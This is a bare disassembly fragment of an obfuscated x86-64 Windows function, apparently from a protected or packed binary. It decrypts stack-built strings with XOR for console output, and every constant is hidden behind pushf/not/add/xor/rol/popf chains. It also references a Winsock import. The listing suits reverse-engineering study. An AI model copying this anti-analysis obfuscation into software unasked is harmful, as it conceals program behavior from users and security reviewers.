mov rdi, rax
xor eax, eax
mov ecx, 0x606bee21
pushf
not ecx
add ecx, 0xe2e6ee7f
xor ecx, 0xf3c9785a
rol ecx, 0x39
popf
pushf
not ecx
add ecx, 0x9d4b5ea3
xor ecx, 0x8e67f9ba
rol ecx, 0xdd
popf
rep stosb byte [rdi], al
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov qword [rsp + 0x260], rax
movzx eax, byte [rsp + 0x2f]
mov byte [rsp + 0xa8], al
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0xb0], al
movabs rax, 0xb0f079c500b4400b
pushf
not rax
add rax, 0x7fc2789f
xor rax, 0x451cf26a
rol rax, 0xe5
popf
pushf
not rax
add rax, 0x64bf254f
xor rax, 0x733944e2
rol rax, 0xe2
popf
pushf
not rax
add rax, 0x6d5a3274
xor rax, 0x5dccef8d
rol rax, 0x98
popf
pushf
not rax
add rax, 0x77f11b57
xor rax, 0x45060b0d
rol rax, 0x7a
popf
mov qword [rsp + 0x3f0], rax
movabs rax, 0x5fb0ea3dcefac75
pushf
not rax
add rax, 0x5dc7c958
xor rax, 0x665faf0c
rol rax, 0x30
popf
pushf
not rax
add rax, 0x6420bf76
xor rax, 0x54db074e
rol rax, 0x80
popf
pushf
not rax
add rax, 0x57fcea12
xor rax, 0x75bea031
rol rax, 0x6d
popf
pushf
not rax
add rax, 0x431fde8e
xor rax, 0x68c73c00
rol rax, 0xb3
popf
mov qword [rsp + 0x3f8], rax
movabs rax, 0xfcecd357e0553bc5
pushf
not rax
add rax, 0x724f40aa
xor rax, 0x6cae1033
rol rax, 4
popf
pushf
not rax
add rax, 0x44abe964
xor rax, 0x4311fe5f
rol rax, 0x43
popf
pushf
not rax
add rax, 0x58476219
xor rax, 0x52b71932
rol rax, 0x7a
popf
mov qword [rsp + 0x400], rax
movabs rax, 0x9bf829143c6f2d6d
pushf
not rax
add rax, 0x67680ebf
xor rax, 0x7dbacff8
rol rax, 0x26
popf
pushf
not rax
add rax, 0x7306cbb9
xor rax, 0x69038a9c
rol rax, 0x36
popf
pushf
not rax
add rax, 0x5c6c46c6
xor rax, 0x657c8a36
rol rax, 0x7d
popf
pushf
not rax
add rax, 0x59503319
xor rax, 0x5dc499fc
rol rax, 0x79
popf
mov qword [rsp + 0x408], rax
movabs rax, 0x412b6642bf67f69
pushf
not rax
add rax, 0x48efb835
xor rax, 0x7c39b0c6
rol rax, 0x2e
popf
pushf
not rax
add rax, 0x40489a51
xor rax, 0x4d6923e0
rol rax, 0x2f
popf
mov qword [rsp + 0x410], rax
movabs rax, 0xc7539bc258967092
pushf
not rax
add rax, 0x7e8ce14c
xor rax, 0x749660e4
rol rax, 0x5a
popf
pushf
not rax
add rax, 0x751b81fa
xor rax, 0x6c783564
rol rax, 0x7c
popf
pushf
not rax
add rax, 0x624bae75
xor rax, 0x528f280c
rol rax, 0xa6
popf
mov qword [rsp + 0x418], rax
movabs rax, 0x932752c8d75962e1
pushf
not rax
add rax, 0x5b4829c3
xor rax, 0x52d76a7d
rol rax, 0xbc
popf
pushf
not rax
add rax, 0x5c19fe03
xor rax, 0x7eb32bb6
rol rax, 0x36
popf
mov qword [rsp + 0x420], rax
movabs rax, 0x5ae967e3d1f6513f
pushf
not rax
add rax, 0x5e22ef82
xor rax, 0x660299f2
rol rax, 0xfe
popf
pushf
not rax
add rax, 0x6a3e4f5e
xor rax, 0x4e99a1e2
rol rax, 0xb2
popf
mov qword [rsp + 0x428], rax
movabs rax, 0x1ec006d1aa233129
pushf
not rax
add rax, 0x692dd276
xor rax, 0x68129a0f
rol rax, 0xfe
popf
pushf
not rax
add rax, 0x41ee8e29
xor rax, 0x7d05f890
rol rax, 0xb
popf
mov qword [rsp + 0x430], rax
movabs rax, 0x5d1a23b0865db414
pushf
not rax
add rax, 0x66eec16c
xor rax, 0x721a0620
rol rax, 0x89
popf
pushf
not rax
add rax, 0x56641760
xor rax, 0x6e202e08
rol rax, 0xd2
popf
pushf
not rax
add rax, 0x421c1ad6
xor rax, 0x716e6fec
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x5075f774
xor rax, 0x4fc3cc7e
rol rax, 0x3a
popf
mov qword [rsp + 0x438], rax
movabs rax, 0x60de7974ce653a55
pushf
not rax
add rax, 0x424b0584
xor rax, 0x50bb95e3
rol rax, 0xe5
popf
pushf
not rax
add rax, 0x7aaa0b83
xor rax, 0x5dd0e382
rol rax, 0xa4
popf
pushf
not rax
add rax, 0x4d65c2a9
xor rax, 0x60dd49dc
rol rax, 0xf1
popf
pushf
not rax
add rax, 0x44de918f
xor rax, 0x7705f66d
rol rax, 0x9b
popf
mov qword [rsp + 0x440], rax
movabs rax, 0x982dfaaf35d157ee
pushf
not rax
add rax, 0x4773ea48
xor rax, 0x5c3ee903
rol rax, 0x15
popf
pushf
not rax
add rax, 0x6dba94a2
xor rax, 0x5aebca18
rol rax, 0xf0
popf
mov qword [rsp + 0x448], rax
movabs rax, 0x3007a7333eda143e
pushf
not rax
add rax, 0x6b45a0cb
xor rax, 0x550e4b67
rol rax, 0xe4
popf
pushf
not rax
add rax, 0x54a1354f
xor rax, 0x4665c1c8
rol rax, 0x3e
popf
pushf
not rax
add rax, 0x4e08e1ef
xor rax, 0x7fe4775a
rol rax, 0xb4
popf
mov qword [rsp + 0x450], rax
movabs rax, 0xd660971e4c6dff28
pushf
not rax
add rax, 0x6d340d7d
xor rax, 0x76de1ef4
rol rax, 0x61
popf
pushf
not rax
add rax, 0x42f37714
xor rax, 0x4ccbed44
rol rax, 0xd8
popf
pushf
not rax
add rax, 0x6bc063f4
xor rax, 0x55d120a4
rol rax, 0x86
popf
pushf
not rax
add rax, 0x513ca103
xor rax, 0x6189e392
rol rax, 0xc8
popf
mov qword [rsp + 0x458], rax
movabs rax, 0x9693a696a1fc434c
pushf
not rax
add rax, 0x51fe98b5
xor rax, 0x7f5174c2
rol rax, 0xfc
popf
pushf
not rax
add rax, 0x48597285
xor rax, 0x6071c0c7
rol rax, 0x6f
popf
pushf
not rax
add rax, 0x622a25f6
xor rax, 0x4f5a92c4
rol rax, 0xe7
popf
pushf
not rax
add rax, 0x520ff39c
xor rax, 0x4a2bedad
rol rax, 0x11
popf
mov qword [rsp + 0x460], rax
movabs rax, 0x939e16e4c00d5d5b
pushf
not rax
add rax, 0x50a9cd19
xor rax, 0x5a565c70
rol rax, 0x29
popf
pushf
not rax
add rax, 0x64427a40
xor rax, 0x5a26b41a
rol rax, 0xde
popf
pushf
not rax
add rax, 0x6c5ee506
xor rax, 0x5b1a2ed8
rol rax, 0x90
popf
mov qword [rsp + 0x468], rax
movabs rax, 0xa32e69292423ecfc
pushf
not rax
add rax, 0x63d0c4a5
xor rax, 0x4498fce2
rol rax, 0xa2
popf
pushf
not rax
add rax, 0x5170aaf7
xor rax, 0x45678771
rol rax, 0xf2
popf
mov qword [rsp + 0x470], rax
movabs rax, 0x7887ad01dfb0dc66
pushf
not rax
add rax, 0x5e4b28d7
xor rax, 0x7c852725
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x4e99858a
xor rax, 0x4c7ec117
rol rax, 0x11
popf
pushf
not rax
add rax, 0x70dd7930
xor rax, 0x6d0fbf21
rol rax, 3
popf
pushf
not rax
add rax, 0x5f9dc324
xor rax, 0x40220ff7
rol rax, 0x1e
popf
mov qword [rsp + 0x478], rax
movabs rax, 0x978016baadb83c00
pushf
not rax
add rax, 0x6257a676
xor rax, 0x7f1b3e5d
rol rax, 0xb6
popf
pushf
not rax
add rax, 0x6ea87d21
xor rax, 0x6aa82e9a
rol rax, 0xd7
popf
pushf
not rax
add rax, 0x5e7d065b
xor rax, 0x5cfdc473
rol rax, 0x4e
popf
pushf
not rax
add rax, 0x50a20d43
xor rax, 0x721bbb42
rol rax, 0xe9
popf
mov qword [rsp + 0x480], rax
movabs rax, 0xb14ac6e9e5ba34d8
pushf
not rax
add rax, 0x4fd9436b
xor rax, 0x45b13491
rol rax, 0x9d
popf
pushf
not rax
add rax, 0x42eebe10
xor rax, 0x42932263
rol rax, 0x91
popf
pushf
not rax
add rax, 0x48ee2a0d
xor rax, 0x436873c3
rol rax, 0xe1
popf
pushf
not rax
add rax, 0x58aa6787
xor rax, 0x57116614
rol rax, 0x9a
popf
mov qword [rsp + 0x488], rax
lea rax, [rsp + 0x31]
mov rdi, rax
xor eax, eax
mov ecx, 0x7bb62091
pushf
not ecx
add ecx, 0x96f78b92
xor ecx, 0xc9bc1c0c
rol ecx, 0x17
popf
pushf
not ecx
add ecx, 0xbe8a50f6
xor ecx, 0xbe800555
rol ecx, 0xd1
popf
pushf
not ecx
add ecx, 0xa25aef1d
xor ecx, 0xf36be1db
rol ecx, 0x2c
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0xb8], al
movdqa xmm0, xmmword [rsp + 0x440]
movdqa xmmword [rsp + 0x9a0], xmm0
movdqa xmm0, xmmword [rsp + 0x3f0]
movdqa xmmword [rsp + 0x990], xmm0
movdqa xmm0, xmmword [rsp + 0x990]
pxor xmm0, xmmword [rsp + 0x9a0]
movdqa xmmword [rsp + 0x9b0], xmm0
movdqa xmm0, xmmword [rsp + 0x9b0]
movdqa xmmword [rsp + 0x3f0], xmm0
lea rax, [rsp + 0x400]
mov qword [rsp + 0x1a8], rax
lea rax, [rsp + 0x450]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xb30], xmm0
mov rax, qword [rsp + 0x1a8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x9c0], xmm0
movdqa xmm0, xmmword [rsp + 0x9c0]
pxor xmm0, xmmword [rsp + 0xb30]
movdqa xmmword [rsp + 0x9e0], xmm0
mov rax, qword [rsp + 0x1a8]
movdqa xmm0, xmmword [rsp + 0x9e0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x410]
mov qword [rsp + 0x1b0], rax
lea rax, [rsp + 0x460]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa00], xmm0
mov rax, qword [rsp + 0x1b0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x9f0], xmm0
movdqa xmm0, xmmword [rsp + 0x9f0]
pxor xmm0, xmmword [rsp + 0xa00]
movdqa xmmword [rsp + 0xa10], xmm0
mov rax, qword [rsp + 0x1b0]
movdqa xmm0, xmmword [rsp + 0xa10]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x420]
mov qword [rsp + 0x1b8], rax
lea rax, [rsp + 0x470]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa30], xmm0
mov rax, qword [rsp + 0x1b8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa20], xmm0
movdqa xmm0, xmmword [rsp + 0xa20]
pxor xmm0, xmmword [rsp + 0xa30]
movdqa xmmword [rsp + 0xa40], xmm0
mov rax, qword [rsp + 0x1b8]
movdqa xmm0, xmmword [rsp + 0xa40]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x430]
mov qword [rsp + 0x1c0], rax
lea rax, [rsp + 0x480]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa60], xmm0
mov rax, qword [rsp + 0x1c0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa50], xmm0
movdqa xmm0, xmmword [rsp + 0xa50]
pxor xmm0, xmmword [rsp + 0xa60]
movdqa xmmword [rsp + 0xa70], xmm0
mov rax, qword [rsp + 0x1c0]
movdqa xmm0, xmmword [rsp + 0xa70]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x258], rax
mov rdx, qword [rsp + 0x258]
mov rcx, qword [rsp + 0x260]
call fcn.1402803fb
mov qword [rsp + 0x268], rax
lea rdx, [0x1a7e458a2]
pushf
sub rdx, 0x67dbacf2
popf
mov rcx, qword [rsp + 0x268]
jmp 0x1401ec1cc
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor al, al
jmp 0x1401ec2de
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x270], rax
mov rcx, qword [rsp + 0x270]
call fcn.14024eab5
mov al, reloc.WS2_32.dll_select
pushf
not al
add al, 0xb6
xor al, 0x80
rol al, 0xb8
popf
pushf
not al
add al, 0x7c
xor al, 0xe6
rol al, 0x90
popf
pushf
not al
add al, 0x2c
xor al, 0x9a
rol al, 0xd7
popf
pushf
not al
add al, 0x74
xor al, 0x68
rol al, 0x24
popf
push rax
pushf
mov eax, 0xf0908e5a
pushf
not eax
add eax, 0xf81c7e71
xor eax, 0xb1089d9e
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xe2578d4c
xor eax, 0xccd2df3e
rol eax, 0x73
popf
pushf
not eax
add eax, 0xc8daaa4a
xor eax, 0x823f5426
rol eax, 0x19
popf
pushf
not eax
add eax, 0x8a8b6014
xor eax, 0xa1a4b869
rol eax, 0xf3
popf
jmp 0x1401e6e51
add rsp, 0xb78
pop rdi
pop rsi
ret